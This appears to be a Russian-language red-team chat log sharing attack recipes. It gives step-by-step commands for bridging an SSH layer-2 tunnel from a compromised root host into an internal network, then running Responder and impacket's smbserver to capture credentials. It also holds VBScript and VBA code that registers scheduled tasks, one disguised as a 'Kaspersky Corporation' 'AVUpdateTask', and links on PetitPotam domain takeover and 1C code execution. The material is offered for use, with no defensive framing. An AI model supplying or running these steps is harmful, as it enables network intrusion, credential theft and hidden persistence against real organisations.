ReadytoRun stomping прогугли
И в lnk завернёшь

В общем, вот рецепт для тех кто хочет SSH Nightmare:
Вводные - нужен доступ к Linux-хосту от root, PermitTunnel yes и два сетевых интерфейса на машине (можно и через один, но есть риск DoS при ошибках в конфигурации). В примере рассмотрим ситуацию когда есть внешний интерфейс eth0 и интерфейс в атакуемую сеть (eth1, 10.0.0.0/24).
1) Делаем туннель:

sudo ssh -i ~/.ssh/id_rsa -o Tunnel=ethernet -w 1:1 root@<linux>

2) На локальной машине включаем интерфейс и выбираем свободный адрес в изолированной сети:

sudo ip link set tap1 up
sudo ip addr add 10.0.0.4/24 dev tap1

3) На удаленной машине делаем сетевой мост и назначаем ему адрес от интерфейса eth1:

sudo brctl addbr bridgeforattack
sudo brctl addif bridgeforattack tap1
sudo brctl addif bridgeforattack eth1
sudo ip addr del 10.0.0.2/24 dev eth1
sudo ip addr add 10.0.0.2/24 dev bridgeforattack
sudo ip link set dev tap1 up
sudo ip link set dev bridgeforattack up

Для случая с 1 интерфейсом после смены IP обязательно нужно прописать дефолтный роут, например:

sudo ip route add default via 10.0.2.1

4) Проверяем L2-доступ к сети с локальной машины:

ping -c1 10.0.0.1

5) Готовим атаку: спуфим респондером с отключенным SMB, а соединение принимаем на smbserver из impacket (респондер тоже их ловит, но часто дропает коннекты хз почему)

sudo responder -I tap1
smbserver.py -smb2support share .

6) ???

7) PROFIT!

5 способов, как взять домен с помощью PetitPotam / Хабр
https://habr.com/ru/companies/jetinfosystems/articles/690440/

а что значит тихое?

но вообще вот код.

Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\cmd.exe"
Action.Arguments = "/c whoami"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)

хм, а если вот так как-нибудь?

Sub CreateScheduledTask()
    Dim shell As Object
    Dim TaskName As String
    Dim Command As String
    Dim RunTime As String
    TaskName = "MyCmdTask"

    Command = "cmd.exe"
    
    RunTime = "*/10 * * * *"

    Set shell = CreateObject("WScript.Shell")
    
    shell.Run "schtasks /Create /SC MINUTE /MO 10 /TN """ & TaskName & """ /TR " & Command, , True

    Set shell = Nothing

End Sub

Powershell Tips & Tricks(RTC0024) | RedTeamRecipe
https://redteamrecipe.com/powershell-tips-tricks/

Коллеги, собрал все известные мне внешние обработки для исполнения кода в 1с. Бывает, что одна работает, другая нет. И наоборот
#1c #1с #rce

Для 1с_rce нужно код вставить